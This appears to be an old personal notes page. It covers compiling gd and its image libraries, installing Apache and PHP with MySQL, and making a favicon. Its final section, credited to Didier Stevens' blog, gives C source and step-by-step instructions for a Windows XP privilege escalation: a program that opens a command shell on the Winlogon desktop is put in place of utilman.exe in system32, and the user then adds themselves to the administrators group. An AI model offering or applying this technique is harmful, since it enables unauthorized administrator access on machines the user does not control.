Installing gd with full support

Installing jpeg support:
wget http://www.ijg.org/files/jpegsrc.v6b.tar.gz
tar zxvf jpegsrc.v6b.tar.gz
cd jpeg-6b/
./configure --enable-shared --enable-static
make
make install

Installing freetype support:
wget http://voxel.dl.sourceforge.net/sourceforge/freetype/freetype-2.3.4.tar.gz
tar zxvf freetype-2.3.4.tar.gz
cd freetype-2.3.4
./configure
make
make install

Installing font config:
wget http://www.fontconfig.org/release/fontconfig-2.4.2.tar.gz
tar zxvf fontconfig-2.4.2.tar.gz
cd fontconfig-2.4.2
./configure --sysconfdir=/etc --prefix=/usr --mandir=/usr/share/man
make
make install

Installing png support:
wget http://easynews.dl.sourceforge.net/sourceforge/libpng/libpng-1.2.8-config.tar.gz
tar zxvf libpng-1.2.8-config.tar.gz
cd libpng-1.2.8-config
./configure
make
make install

Installing gd:
wget http://www.libgd.org/releases/gd-2.0.35.tar.gz
tar zxvf gd-2.0.35.tar.gz
cd gd-2.0.35
./configure \
--with-png=../libpng-1.2.8-config \
--with-jpeg=../jpeg-6b \
--with-freetype=../freetype-2.3.4
make
make install

Installing apache and php with mysql in linux

Installing apache:
wget http://apache.leakage.org/httpd/httpd-2.2.6.tar.gz
tar zxvf httpd-2.2.6.tar.gz
cd httpd-2.2.6
./configure --prefix=PREFIX
make
make install

Installing php:
wget http://au3.php.net/get/php-5.2.4.tar.gz/from/us.php.net/mirror
tar zxvf php-5.2.4.tar.gz
cd php-5.2.4
./configure --with-mysql \
--with-apxs2=/PREFIX/httpd/bin/apxs \
--enable-ftp \
--enable-fastcgi \
--enable-calendar \
--with-jpeg-dir=/usr \
--enable-ftp \
--with-gd \
--with-freetype-dir=../freetype-2.3.4 --with-png-dir=../libpng-1.2.8-config \
--with-openssl
make
make install
cp php.ini-dist /usr/local/lib/php.ini

edit httpd.conf and add this line:
LoadModule php5_module libexec/libphp5.so
AddType application/x-httpd-php .php .phtml

Run apache by typing:
PREFIX/bin/apachectl start

test php by making a php file eg. phpinfo.php and save in your web folder
type this code in the file:
<?phpinfo();?>

Making favourite icon for Internet Browsers

1. Get a picture of whatever u want it to be the icon.
2. Convert the file to .ico using image converter program.
3. Rename this file to favicon.ico
4. Save this file at the root of your website eg. the place where your index.html is.
The icon will be shown next to the url the website once you save it as your favourite.

Gaining admin access in WindowsXP

From DidierStevens site: http://blog.didierstevens.com/
A very nice program to gain admin rights in Windows.
You can compile the following example with Borland’s free C++ 5.5 compiler.
Download from http://www.borland.com/downloads/download_cbuilder.html

Code snippet:
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#include <stdio.h>
#include <windows.h>
#include <tchar.h>
void _tmain(void)
{
STARTUPINFO s;
PROCESS_INFORMATION p;
LPTSTR szCmdline = _tcsdup(TEXT("CMD"));
LPTSTR szDesktop = _tcsdup(TEXT("WinSta0\\\\Winlogon"));

ZeroMemory(&s, sizeof(s));
s.cb = sizeof(s);
s.lpDesktop = szDesktop;
ZeroMemory(&p, sizeof(p));

CreateProcess(NULL, szCmdline, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &s, &p);

CloseHandle(p.hProcess);
CloseHandle(p.hThread);
}

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1. Compile this simple C program, name it utilman.exe and put it in the system32 directory.
2. Press the magic key sequence (Windows Logo key & U key) immediately after copying. A command shell will open on the Winlogon desktop.
3. Press ctrl-alt-del to see the shell.
4. Type in shell: net localgroup administrators yourname /add
You will see "Command completed successfully" and gain administrator rights for your pc.